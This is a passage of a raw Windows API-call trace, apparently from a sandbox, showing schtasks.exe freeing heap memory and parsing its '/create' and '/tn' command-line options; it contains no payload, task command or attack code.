[0163.915] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4e0) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d4e0) returned 0x10 [0163.915] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d4e0 | out: hHeap=0x310000) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc60) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc60) returned 0x20 [0163.915] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc60 | out: hHeap=0x310000) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dcb0) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.915] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dcb0) returned 0x8 [0163.915] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dcb0 | out: hHeap=0x310000) returned 1 [0163.915] GetProcessHeap () returned 0x310000 [0163.916] GetProcessHeap () returned 0x310000 [0163.916] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc90) returned 1 [0163.916] GetProcessHeap () returned 0x310000 [0163.916] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cc90) returned 0x20 [0163.916] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cc90 | out: hHeap=0x310000) returned 1 [0163.916] GetProcessHeap () returned 0x310000 [0163.916] GetProcessHeap () returned 0x310000 [0163.916] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd30) returned 1 [0163.916] GetProcessHeap () returned 0x310000 [0163.916] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dd30) returned 0x4a [0163.916] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd30 | out: hHeap=0x310000) returned 1 [0163.916] GetProcessHeap () returned 0x310000 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccc0) returned 1 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccc0) returned 0x20 [0163.917] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccc0 | out: hHeap=0x310000) returned 1 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd90) returned 1 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dd90) returned 0x8 [0163.917] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd90 | out: hHeap=0x310000) returned 1 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccf0) returned 1 [0163.917] GetProcessHeap () returned 0x310000 [0163.917] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ccf0) returned 0x20 [0163.918] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ccf0 | out: hHeap=0x310000) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32d560) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32d560) returned 0x10 [0163.918] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32d560 | out: hHeap=0x310000) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd20) returned 0x20 [0163.918] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20 | out: hHeap=0x310000) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddb0) returned 1 [0163.918] GetProcessHeap () returned 0x310000 [0163.918] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32ddb0) returned 0x6 [0163.919] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32ddb0 | out: hHeap=0x310000) returned 1 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd50) returned 1 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32cd50) returned 0x20 [0163.919] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd50 | out: hHeap=0x310000) returned 1 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32b990) returned 1 [0163.919] GetProcessHeap () returned 0x310000 [0163.919] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32b990) returned 0x18 [0163.919] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32b990 | out: hHeap=0x310000) returned 1 [0163.919] SetLastError (dwErrCode=0x0) [0163.920] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0163.920] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0163.920] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0163.920] VerifyVersionInfoW (in: lpVersionInformation=0x11c4f0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x11c4f0) returned 1 [0163.920] SetLastError (dwErrCode=0x0) [0163.920] lstrlenW (lpString="create") returned 6 [0163.920] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0163.920] SetLastError (dwErrCode=0x490) [0163.920] SetLastError (dwErrCode=0x0) [0163.920] lstrlenW (lpString="create") returned 6 [0163.920] GetProcessHeap () returned 0x310000 [0163.920] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd50 [0163.920] GetProcessHeap () returned 0x310000 [0163.920] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x18) returned 0x32d560 [0163.920] _memicmp (_Buf1=0x32d560, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.920] GetProcessHeap () returned 0x310000 [0163.920] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x16) returned 0x32d4e0 [0163.920] SetLastError (dwErrCode=0x0) [0163.920] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.920] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x32bbf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0163.920] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0163.921] GetProcessHeap () returned 0x310000 [0163.921] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x74e) returned 0x32dd30 [0163.921] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x32dd30 | out: lpData=0x32dd30) returned 1 [0163.921] VerQueryValueW (in: pBlock=0x32dd30, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x11c5d8, puLen=0x11c640 | out: lplpBuffer=0x11c5d8*=0x32e0cc, puLen=0x11c640) returned 1 [0163.921] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.921] _vsnwprintf (in: _Buffer=0x32bbf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x11c5b8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.921] VerQueryValueW (in: pBlock=0x32dd30, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x11c648, puLen=0x11c638 | out: lplpBuffer=0x11c648*=0x32def8, puLen=0x11c638) returned 1 [0163.921] lstrlenW (lpString="schtasks.exe") returned 12 [0163.922] lstrlenW (lpString="schtasks.exe") returned 12 [0163.922] lstrlenW (lpString=".EXE") returned 4 [0163.922] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.922] lstrlenW (lpString="schtasks.exe") returned 12 [0163.922] lstrlenW (lpString=".EXE") returned 4 [0163.922] lstrlenW (lpString="schtasks") returned 8 [0163.922] lstrlenW (lpString="/create") returned 7 [0163.922] _memicmp (_Buf1=0x32ba50, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.922] _vsnwprintf (in: _Buffer=0x32bbf0, _BufferCount=0x19, _Format="%s %s", _ArgList=0x11c5b8 | out: _Buffer="schtasks /create") returned 16 [0163.922] _memicmp (_Buf1=0x32ba70, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.922] GetProcessHeap () returned 0x310000 [0163.922] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x20) returned 0x32cd20 [0163.922] _memicmp (_Buf1=0x32ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.922] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x32d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.922] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.922] GetProcessHeap () returned 0x310000 [0163.922] RtlAllocateHeap (HeapHandle=0x310000, Flags=0xc, Size=0x30) returned 0x327a90 [0163.922] _vsnwprintf (in: _Buffer=0x32bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11c5b8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0163.922] GetProcessHeap () returned 0x310000 [0163.922] GetProcessHeap () returned 0x310000 [0163.922] HeapValidate (hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd30) returned 1 [0163.922] GetProcessHeap () returned 0x310000 [0163.922] RtlSizeHeap (HeapHandle=0x310000, Flags=0x0, MemoryPointer=0x32dd30) returned 0x74e [0163.923] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32dd30 | out: hHeap=0x310000) returned 1 [0163.923] SetLastError (dwErrCode=0x0) [0163.923] GetThreadLocale () returned 0x409 [0163.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.923] lstrlenW (lpString="create") returned 6 [0163.923] GetThreadLocale () returned 0x409 [0163.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.923] lstrlenW (lpString="?") returned 1 [0163.923] GetThreadLocale () returned 0x409 [0163.923] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="s") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="u") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="p") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="ru") returned 2 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="rp") returned 2 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="sc") returned 2 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="mo") returned 2 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="d") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="m") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.924] lstrlenW (lpString="i") returned 1 [0163.924] GetThreadLocale () returned 0x409 [0163.924] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="tn") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="tr") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="st") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="sd") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="ed") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="it") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="et") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="k") returned 1 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="du") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.925] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.925] lstrlenW (lpString="ri") returned 2 [0163.925] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="z") returned 1 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="f") returned 1 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="v1") returned 2 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="xml") returned 3 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="ec") returned 2 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="rl") returned 2 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="delay") returned 5 [0163.926] GetThreadLocale () returned 0x409 [0163.926] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.926] lstrlenW (lpString="np") returned 2 [0163.926] SetLastError (dwErrCode=0x0) [0163.926] SetLastError (dwErrCode=0x0) [0163.926] lstrlenW (lpString="/create") returned 7 [0163.926] lstrlenW (lpString="-/") returned 2 [0163.926] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.926] lstrlenW (lpString="create") returned 6 [0163.927] lstrlenW (lpString="create") returned 6 [0163.927] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.927] lstrlenW (lpString="create") returned 6 [0163.927] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.927] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.927] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.927] lstrlenW (lpString="|create|") returned 8 [0163.927] lstrlenW (lpString="|create|") returned 8 [0163.927] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.927] SetLastError (dwErrCode=0x0) [0163.927] SetLastError (dwErrCode=0x0) [0163.927] SetLastError (dwErrCode=0x0) [0163.927] lstrlenW (lpString="/tn") returned 3 [0163.927] lstrlenW (lpString="-/") returned 2 [0163.927] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0163.927] lstrlenW (lpString="create") returned 6 [0163.927] lstrlenW (lpString="create") returned 6 [0163.927] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.927] lstrlenW (lpString="tn") returned 2 [0163.927] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.927] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|create|") returned 8 [0163.927] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.927] lstrlenW (lpString="|create|") returned 8 [0163.927] lstrlenW (lpString="|tn|") returned 4 [0163.927] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.928] SetLastError (dwErrCode=0x490) [0163.928] lstrlenW (lpString="?") returned 1 [0163.928] lstrlenW (lpString="?") returned 1 [0163.928] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] lstrlenW (lpString="tn") returned 2 [0163.928] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|?|") returned 3 [0163.928] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.928] lstrlenW (lpString="|?|") returned 3 [0163.928] lstrlenW (lpString="|tn|") returned 4 [0163.928] SetLastError (dwErrCode=0x490) [0163.928] lstrlenW (lpString="s") returned 1 [0163.928] lstrlenW (lpString="s") returned 1 [0163.928] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] lstrlenW (lpString="tn") returned 2 [0163.928] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|s|") returned 3 [0163.928] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.928] lstrlenW (lpString="|s|") returned 3 [0163.928] lstrlenW (lpString="|tn|") returned 4 [0163.928] SetLastError (dwErrCode=0x490) [0163.928] lstrlenW (lpString="u") returned 1 [0163.928] lstrlenW (lpString="u") returned 1 [0163.928] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] lstrlenW (lpString="tn") returned 2 [0163.928] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.928] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|u|") returned 3 [0163.929] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.929] lstrlenW (lpString="|u|") returned 3 [0163.929] lstrlenW (lpString="|tn|") returned 4 [0163.929] SetLastError (dwErrCode=0x490) [0163.929] lstrlenW (lpString="p") returned 1 [0163.929] lstrlenW (lpString="p") returned 1 [0163.929] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.929] lstrlenW (lpString="tn") returned 2 [0163.929] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.929] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|p|") returned 3 [0163.929] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.929] lstrlenW (lpString="|p|") returned 3 [0163.929] lstrlenW (lpString="|tn|") returned 4 [0163.929] SetLastError (dwErrCode=0x490) [0163.929] lstrlenW (lpString="ru") returned 2 [0163.929] lstrlenW (lpString="ru") returned 2 [0163.929] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.929] lstrlenW (lpString="tn") returned 2 [0163.929] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.929] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|ru|") returned 4 [0163.929] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.929] lstrlenW (lpString="|ru|") returned 4 [0163.929] lstrlenW (lpString="|tn|") returned 4 [0163.929] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0163.929] SetLastError (dwErrCode=0x490) [0163.929] lstrlenW (lpString="rp") returned 2 [0163.929] lstrlenW (lpString="rp") returned 2 [0163.930] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.930] lstrlenW (lpString="tn") returned 2 [0163.930] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.930] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|rp|") returned 4 [0163.930] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.930] lstrlenW (lpString="|rp|") returned 4 [0163.930] lstrlenW (lpString="|tn|") returned 4 [0163.930] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0163.930] SetLastError (dwErrCode=0x490) [0163.930] lstrlenW (lpString="sc") returned 2 [0163.930] lstrlenW (lpString="sc") returned 2 [0163.930] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.930] lstrlenW (lpString="tn") returned 2 [0163.930] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.930] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|sc|") returned 4 [0163.930] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.930] lstrlenW (lpString="|sc|") returned 4 [0163.930] lstrlenW (lpString="|tn|") returned 4 [0163.930] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0163.930] SetLastError (dwErrCode=0x490) [0163.930] lstrlenW (lpString="mo") returned 2 [0163.930] lstrlenW (lpString="mo") returned 2 [0163.930] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.930] lstrlenW (lpString="tn") returned 2 [0163.931] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.931] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|mo|") returned 4 [0163.931] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.931] lstrlenW (lpString="|mo|") returned 4 [0163.931] lstrlenW (lpString="|tn|") returned 4 [0163.931] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0163.931] SetLastError (dwErrCode=0x490) [0163.931] lstrlenW (lpString="d") returned 1 [0163.931] lstrlenW (lpString="d") returned 1 [0163.931] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.931] lstrlenW (lpString="tn") returned 2 [0163.931] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.931] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|d|") returned 3 [0163.931] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|tn|") returned 4 [0163.931] lstrlenW (lpString="|d|") returned 3 [0163.931] lstrlenW (lpString="|tn|") returned 4 [0163.931] SetLastError (dwErrCode=0x490) [0163.931] lstrlenW (lpString="m") returned 1 [0163.931] lstrlenW (lpString="m") returned 1 [0163.931] _memicmp (_Buf1=0x32c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.931] lstrlenW (lpString="tn") returned 2 [0163.931] _memicmp (_Buf1=0x32c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0163.931] _vsnwprintf (in: _Buffer=0x32c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11c5c8 | out: _Buffer="|m|") returned 3 [0163.931] _vsnwprintf (in: _Buffer=0x32c200, _BufferCount=0x5, _Format="|%s|", 